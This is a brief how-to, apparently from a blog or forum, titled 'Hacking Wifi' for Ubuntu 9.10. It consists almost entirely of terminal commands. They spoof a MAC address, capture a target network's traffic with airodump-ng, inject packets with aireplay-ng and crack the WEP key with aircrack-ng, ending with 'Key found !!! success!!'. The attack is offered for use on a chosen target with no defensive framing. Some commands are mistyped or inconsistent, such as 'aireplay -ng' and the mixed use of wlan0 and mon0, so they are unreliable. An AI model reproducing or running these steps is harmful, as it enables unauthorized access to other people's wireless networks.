Hacking Wifi Use Ubuntu 9.10 karmic koala

Installing programs macchanger and aircrack-ng

sudo apt-get install macchanger
sudo apt-get install aircrack-ng

NB :offline mode or turn off wifi

run terminal :

sudo airmon-ng stop wlan0
sudo ifconfig wlan0 down
sudo macchanger --mac 00:11:22:33:44:55
sudo airmon-ng start wlan0
sudo airodump-ng wlan0

NB : copy bssid or mactarget!

sudo airodump-ng -c 2 -w wifi --bssid mactarget wlan0

open new terminal :


sudo aireplay -ng -1 0 -a mactarget -h macaddres mon0


sudo aireplay-ng -3 -b mactarget -h macaddress wlan0

sending or read packets

open the new terminal :

aircrack-ng -b mactarget wifi-01.cap

waiting...until got 5000IVs

Key found !!! success!!